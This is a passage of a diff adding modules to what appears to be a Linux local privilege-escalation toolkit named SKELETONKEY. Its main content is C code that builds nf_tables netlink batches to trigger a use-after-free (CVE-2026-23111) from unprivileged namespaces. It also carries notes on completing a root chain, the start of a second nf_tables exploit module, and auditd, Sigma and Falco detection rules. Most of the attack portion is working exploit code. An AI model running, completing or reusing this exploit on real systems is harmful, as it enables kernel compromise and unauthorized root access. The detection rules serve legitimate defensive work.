nlh->nlmsg_pid = 0;
|
||||||
|
*off += NLMSG_HDRLEN;
|
||||||
|
struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off);
|
||||||
|
nf->nfgen_family = AF_UNSPEC;
|
||||||
|
nf->version = NFNETLINK_V0;
|
||||||
|
nf->res_id = htons(NFNL_SUBSYS_NFTABLES);
|
||||||
|
*off += sizeof(*nf);
|
||||||
|
end_msg(buf, off, at);
|
||||||
|
}
|
||||||
|
|
||||||
|
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||||
|
static const char NFT_CHAIN_NAME[] = "skeletonkey_goto"; /* GOTO target chain */
|
||||||
|
static const char NFT_MAP_NAME[] = "skeletonkey_map";
|
||||||
|
|
||||||
|
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
|
{
|
||||||
|
size_t at = *off;
|
||||||
|
put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||||
|
put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME);
|
||||||
|
end_msg(buf, off, at);
|
||||||
|
}
|
||||||
|
/* A regular (non-base) chain that the catch-all GOTO verdict references.
|
||||||
|
* Once the catch-all element is wrongly (de)activated on abort, this
|
||||||
|
* chain's use-count is mishandled and it can be freed while referenced. */
|
||||||
|
static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
|
{
|
||||||
|
size_t at = *off;
|
||||||
|
put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||||
|
put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME);
|
||||||
|
put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME);
|
||||||
|
end_msg(buf, off, at);
|
||||||
|
}
|
||||||
|
/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its
|
||||||
|
* elements (including the catch-all) carry GOTO/JUMP verdicts. */
|
||||||
|
static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
|
{
|
||||||
|
size_t at = *off;
|
||||||
|
put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||||
|
put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME);
|
||||||
|
put_attr_str(buf, off, NFTA_SET_NAME, NFT_MAP_NAME);
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP);
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13); /* ipv4_addr-ish */
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t));
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00); /* "verdict" magic */
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t));
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_ID, 0x2026);
|
||||||
|
end_msg(buf, off, at);
|
||||||
|
}
|
||||||
|
/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict
|
||||||
|
* to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate
|
||||||
|
* mishandles on abort. */
|
||||||
|
static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
|
{
|
||||||
|
size_t at = *off;
|
||||||
|
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||||
|
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||||
|
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_MAP_NAME);
|
||||||
|
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||||
|
size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */);
|
||||||
|
/* catch-all: no key, just the CATCHALL flag */
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||||
|
/* data = GOTO verdict referencing our chain by name */
|
||||||
|
size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA);
|
||||||
|
size_t v_at = begin_nest(buf, off, NFTA_DATA_VERDICT);
|
||||||
|
put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO);
|
||||||
|
put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME);
|
||||||
|
end_nest(buf, off, v_at);
|
||||||
|
end_nest(buf, off, data_at);
|
||||||
|
end_nest(buf, off, el_at);
|
||||||
|
end_nest(buf, off, list_at);
|
||||||
|
end_msg(buf, off, at);
|
||||||
|
}
|
||||||
|
/* A deliberately-invalid message: references a set that does not exist,
|
||||||
|
* so the kernel rejects it and ABORTS the whole batch transaction —
|
||||||
|
* running the buggy nft_map_catchall_activate over the active catch-all
|
||||||
|
* element we just created. */
|
||||||
|
static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq)
|
||||||
|
{
|
||||||
|
size_t at = *off;
|
||||||
|
put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
|
||||||
|
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||||
|
put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, "skeletonkey_nonexistent");
|
||||||
|
size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||||
|
size_t el_at = begin_nest(buf, off, 1);
|
||||||
|
put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
|
||||||
|
end_nest(buf, off, el_at);
|
||||||
|
end_nest(buf, off, list_at);
|
||||||
|
end_msg(buf, off, at);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int nft_send_batch(int sock, const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
|
||||||
|
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
|
||||||
|
struct msghdr m = {
|
||||||
|
.msg_name = &dst, .msg_namelen = sizeof dst,
|
||||||
|
.msg_iov = &iov, .msg_iovlen = 1,
|
||||||
|
};
|
||||||
|
if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
|
||||||
|
char rbuf[8192];
|
||||||
|
for (int i = 0; i < 8; i++) {
|
||||||
|
ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
|
||||||
|
if (r <= 0) break;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static long slabinfo_active(const char *slab)
|
||||||
|
{
|
||||||
|
FILE *f = fopen("/proc/slabinfo", "r");
|
||||||
|
if (!f) return -1;
|
||||||
|
char line[512];
|
||||||
|
long active = -1;
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
|
||||||
|
long a;
|
||||||
|
if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return active;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
skeletonkey_result_t pre = nft_catchall_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] nft_catchall: already running as root\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
|
||||||
|
"catch-all GOTO element and provokes an aborting batch to "
|
||||||
|
"drive the nft_map_catchall_activate UAF, then stops. The "
|
||||||
|
"per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
|
||||||
|
|
||||||
|
/* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
|
||||||
|
* double-handling; isolating means the dispatcher survives. */
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
|
if (child == 0) {
|
||||||
|
if (enter_unpriv_namespaces() < 0) _exit(20);
|
||||||
|
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||||
|
if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
|
||||||
|
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||||
|
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||||
|
perror("[-] bind"); close(sock); _exit(22);
|
||||||
|
}
|
||||||
|
int rcvbuf = 1 << 20;
|
||||||
|
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||||
|
|
||||||
|
uint8_t *batch = calloc(1, 16 * 1024);
|
||||||
|
if (!batch) { close(sock); _exit(23); }
|
||||||
|
uint32_t seq = (uint32_t)time(NULL);
|
||||||
|
|
||||||
|
/* Batch 1 (commits): table + GOTO-target chain + verdict map +
|
||||||
|
* catch-all GOTO element. */
|
||||||
|
size_t off = 0;
|
||||||
|
put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||||
|
put_new_table(batch, &off, seq++);
|
||||||
|
put_new_chain(batch, &off, seq++);
|
||||||
|
put_new_map(batch, &off, seq++);
|
||||||
|
put_catchall_goto(batch, &off, seq++);
|
||||||
|
put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
|
||||||
|
if (nft_send_batch(sock, batch, off) < 0) {
|
||||||
|
free(batch); close(sock); _exit(24);
|
||||||
|
}
|
||||||
|
|
||||||
|
long before = slabinfo_active("nft_chain");
|
||||||
|
if (before < 0) before = slabinfo_active("kmalloc-cg-256");
|
||||||
|
|
||||||
|
/* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
|
||||||
|
* invalid op so the whole transaction rolls back, running
|
||||||
|
* nft_map_catchall_activate over the active catch-all element. */
|
||||||
|
size_t off2 = 0;
|
||||||
|
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
|
||||||
|
put_catchall_goto(batch, &off2, seq++); /* re-touch the catch-all elem */
|
||||||
|
put_aborting_op(batch, &off2, seq++); /* invalid → abort the batch */
|
||||||
|
put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
|
||||||
|
nft_send_batch(sock, batch, off2);
|
||||||
|
usleep(50 * 1000);
|
||||||
|
|
||||||
|
long after = slabinfo_active("nft_chain");
|
||||||
|
if (after < 0) after = slabinfo_active("kmalloc-cg-256");
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
|
||||||
|
before, after);
|
||||||
|
|
||||||
|
free(batch);
|
||||||
|
close(sock);
|
||||||
|
_exit(100); /* honest: trigger attempted, R/W not completed */
|
||||||
|
}
|
||||||
|
|
||||||
|
int status;
|
||||||
|
waitpid(child, &status, 0);
|
||||||
|
if (!WIFEXITED(status)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
|
||||||
|
"abort-path UAF likely fired (KASAN oops can manifest "
|
||||||
|
"as a child signal)\n", WTERMSIG(status));
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
int rc = WEXITSTATUS(status);
|
||||||
|
if (rc == 100) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
|
||||||
|
"(catch-all GOTO map + aborting batch). The full kernel "
|
||||||
|
"R/W + modprobe_path ROP is NOT bundled, and this "
|
||||||
|
"trigger is reconstructed from public analysis, not "
|
||||||
|
"VM-verified — honest EXPLOIT_FAIL.\n");
|
||||||
|
fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
|
||||||
|
"public PoC leak + cross-cache groom + modprobe_path "
|
||||||
|
"overwrite for CVE-2026-23111.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] nft_catchall: Linux-only module "
|
||||||
|
"(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
/* ----- Embedded detection rules ----- */
|
||||||
|
static const char nft_catchall_auditd[] =
|
||||||
|
"# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
|
||||||
|
"# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
|
||||||
|
"# then nfnetlink batches building a verdict map with a catch-all\n"
|
||||||
|
"# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
|
||||||
|
"# rootless, firewalld) will also trip — tune per environment.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
|
||||||
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
|
||||||
|
|
||||||
|
static const char nft_catchall_sigma[] =
|
||||||
|
"title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
|
||||||
|
"id: 3e8a1c47-skeletonkey-nft-catchall\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects an unprivileged user creating a user namespace then driving\n"
|
||||||
|
" nftables. CVE-2026-23111 abuses an inverted condition in\n"
|
||||||
|
" nft_map_catchall_activate on transaction abort to UAF a chain still\n"
|
||||||
|
" referenced by a catch-all GOTO verdict. False positives: rootless\n"
|
||||||
|
" containers / firewalld using userns + nft. A previously-unprivileged\n"
|
||||||
|
" process gaining euid 0 is the smoking gun.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
|
||||||
|
" uid0: {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
|
||||||
|
" condition: userns and uid0\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
|
||||||
|
|
||||||
|
static const char nft_catchall_falco[] =
|
||||||
|
"- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
|
||||||
|
" delivering nfnetlink batches that build a verdict map with a\n"
|
||||||
|
" catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
|
||||||
|
" nft_map_catchall_activate use-after-free. False positives: rootless\n"
|
||||||
|
" container / firewall tooling.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
|
||||||
|
" (user=%user.name pid=%proc.pid)\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module nft_catchall_module = {
|
||||||
|
.name = "nft_catchall",
|
||||||
|
.cve = "CVE-2026-23111",
|
||||||
|
.summary = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
|
||||||
|
.family = "nf_tables",
|
||||||
|
.kernel_range = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
|
||||||
|
.detect = nft_catchall_detect,
|
||||||
|
.exploit = nft_catchall_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
|
||||||
|
.cleanup = NULL, /* trigger runs in a throwaway userns+netns; no host artifacts */
|
||||||
|
.detect_auditd = nft_catchall_auditd,
|
||||||
|
.detect_sigma = nft_catchall_sigma,
|
||||||
|
.detect_yara = NULL, /* behavioural (syscall/netlink) bug — no file artifact */
|
||||||
|
.detect_falco = nft_catchall_falco,
|
||||||
|
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
|
||||||
|
.arch_support = "x86_64",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_nft_catchall(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&nft_catchall_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* nft_catchall_cve_2026_23111 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||||
|
#define NFT_CATCHALL_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module nft_catchall_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1074,6 +1074,7 @@ const struct skeletonkey_module nft_fwd_dup_module = {
|
|||||||
.detect_yara = nft_fwd_dup_yara,
|
.detect_yara = nft_fwd_dup_yara,
|
||||||
.detect_falco = nft_fwd_dup_falco,
|
.detect_falco = nft_fwd_dup_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE netdev + NEWCHAIN HW_OFFLOAD + NEWRULE with 16 immediate(NF_ACCEPT) + 1 fwd). Offload hook walks the rule advertising num_actions+=16 but allocates only the original-actions size -> OOB write at entries[16] into adjacent kmalloc-512. msg_msg groom tagged 'SKELETONKEY_FWD'. Writes /tmp/skeletonkey-nft_fwd_dup.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + ioctl(SIOCGIFFLAGS/SIOCSIFFLAGS loopback) + msgsnd. Dmesg: KASAN or silent. Cleanup callback drains IPC queues and unlinks log.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE netdev + NEWCHAIN HW_OFFLOAD + NEWRULE with 16 immediate(NF_ACCEPT) + 1 fwd). Offload hook walks the rule advertising num_actions+=16 but allocates only the original-actions size -> OOB write at entries[16] into adjacent kmalloc-512. msg_msg groom tagged 'SKELETONKEY_FWD'. Writes /tmp/skeletonkey-nft_fwd_dup.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + ioctl(SIOCGIFFLAGS/SIOCSIFFLAGS loopback) + msgsnd. Dmesg: KASAN or silent. Cleanup callback drains IPC queues and unlinks log.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_nft_fwd_dup(void)
|
void skeletonkey_register_nft_fwd_dup(void)
|
||||||
|
|||||||
@@ -1184,6 +1184,7 @@ const struct skeletonkey_module nft_payload_module = {
|
|||||||
.detect_yara = nft_payload_yara,
|
.detect_yara = nft_payload_yara,
|
||||||
.detect_falco = nft_payload_falco,
|
.detect_falco = nft_payload_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET with oversized NFTA_SET_DESC + NEWSETELEM whose NFTA_PAYLOAD_SREG = attacker verdict code). On packet eval, regs->verdict.code is used unchecked as index into regs->data[] -> OOB. Dual-slab groom (kmalloc-1k + kmalloc-cg-96). Trigger via sendto(AF_INET, 127.0.0.1:31337). Writes /tmp/skeletonkey-nft_payload.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd + socket(AF_INET)/sendto. Cleanup callback unlinks log.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + nfnetlink batch (NEWTABLE + NEWCHAIN/LOCAL_OUT + NEWSET with oversized NFTA_SET_DESC + NEWSETELEM whose NFTA_PAYLOAD_SREG = attacker verdict code). On packet eval, regs->verdict.code is used unchecked as index into regs->data[] -> OOB. Dual-slab groom (kmalloc-1k + kmalloc-cg-96). Trigger via sendto(AF_INET, 127.0.0.1:31337). Writes /tmp/skeletonkey-nft_payload.log. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg + msgsnd + socket(AF_INET)/sendto. Cleanup callback unlinks log.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_nft_payload(void)
|
void skeletonkey_register_nft_payload(void)
|
||||||
|
|||||||
@@ -0,0 +1,203 @@
|
|||||||
|
/*
|
||||||
|
* nft_pipapo_cve_2024_26581 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 PRIMITIVE. nfnetlink batch + msg_msg cross-cache groom.
|
||||||
|
* Sibling to nf_tables (CVE-2024-1086) — same Notselwyn "Flipping
|
||||||
|
* Pages" paper, same pipapo set substrate. Full cred-overwrite via
|
||||||
|
* the shared modprobe_path finisher on --full-chain (x86_64).
|
||||||
|
*
|
||||||
|
* The bug (Notselwyn / Mauro Lima, "Flipping Pages" Feb 2024):
|
||||||
|
* nft_pipapo_destroy() in net/netfilter/nft_set_pipapo.c didn't
|
||||||
|
* properly drain the per-CPU walk state when destroying a pipapo
|
||||||
|
* set. Combined with concurrent SETELEM operations, an attacker
|
||||||
|
* can free elements while another CPU still has references, then
|
||||||
|
* spray msg_msg to refill the freed slabs and pivot through the
|
||||||
|
* walk callbacks → arb R/W → cred overwrite.
|
||||||
|
*
|
||||||
|
* This is the SECOND major bug in the Notselwyn / 'Flipping Pages'
|
||||||
|
* research series (the first, CVE-2024-1086, is our nf_tables
|
||||||
|
* module). Both target the pipapo set type used for IP/port matches.
|
||||||
|
*
|
||||||
|
* Public PoC: not yet released by Notselwyn (responsible
|
||||||
|
* disclosure window), but extensive technical writeup at the
|
||||||
|
* pwning.tech blog. Patch landed pre-disclosure.
|
||||||
|
*
|
||||||
|
* Affects: Linux kernels with CONFIG_NF_TABLES + the pipapo set
|
||||||
|
* type (introduced kernel 5.6). Fix commit 2ee52ae94baa
|
||||||
|
* ("netfilter: nft_set_pipapo: walk over current view on
|
||||||
|
* netlink dump") landed in 6.8-rc + stable backports:
|
||||||
|
* 6.7.x : 6.7.4
|
||||||
|
* 6.6.x : 6.6.16
|
||||||
|
* 6.1.x : 6.1.78
|
||||||
|
* 5.15.x : 5.15.149
|
||||||
|
* 5.10.x : 5.10.210
|
||||||
|
*
|
||||||
|
* Preconditions:
|
||||||
|
* - unshare(CLONE_NEWUSER|CLONE_NEWNET) for unprivileged userns
|
||||||
|
* CAP_NET_ADMIN (same as nf_tables)
|
||||||
|
* - msgsnd / SysV IPC for kmalloc-cg-96 / kmalloc-cg-512 spray
|
||||||
|
*
|
||||||
|
* arch_support: x86_64+unverified-arm64. Same family as nf_tables.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#include <linux/netfilter/nf_tables.h>
|
||||||
|
#include "../../core/nft_compat.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ---- kernel-range table -------------------------------------------- */
|
||||||
|
|
||||||
|
static const struct kernel_patched_from nft_pipapo_patched_branches[] = {
|
||||||
|
{5, 10, 210},
|
||||||
|
{5, 15, 149},
|
||||||
|
{6, 1, 78},
|
||||||
|
{6, 6, 16},
|
||||||
|
{6, 7, 4},
|
||||||
|
{6, 8, 0}, /* mainline fix in 6.8-rc */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range nft_pipapo_range = {
|
||||||
|
.patched_from = nft_pipapo_patched_branches,
|
||||||
|
.n_patched_from = sizeof(nft_pipapo_patched_branches) /
|
||||||
|
sizeof(nft_pipapo_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t nft_pipapo_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] nft_pipapo: host fingerprint missing kernel version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
/* Bug was introduced in 5.6 (pipapo set type debut). Earlier
|
||||||
|
* kernels don't have pipapo at all. */
|
||||||
|
if (v->major < 5 || (v->major == 5 && v->minor < 6)) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s predates pipapo set type (5.6+) → OK\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (kernel_range_is_patched(&nft_pipapo_range, v)) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[+] nft_pipapo: kernel %s is patched (>= 6.8 / LTS backport)\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->host || !ctx->host->unprivileged_userns_allowed) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] nft_pipapo: unprivileged userns blocked → CAP_NET_ADMIN unreachable → PRECOND_FAIL\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] nft_pipapo: kernel %s in vulnerable range (5.6 ≤ K, no LTS backport) + userns OK → VULNERABLE\n", v->release);
|
||||||
|
fprintf(stderr, "[i] nft_pipapo: same Notselwyn 'Flipping Pages' family as nf_tables; pipapo destroy race + msg_msg groom\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t nft_pipapo_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] nft_pipapo: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr,
|
||||||
|
"[i] nft_pipapo: nfnetlink batch (NEWTABLE+NEWSET pipapo +\n"
|
||||||
|
" burst NEWSETELEM/DELSETELEM with concurrent DESTROYSET)\n"
|
||||||
|
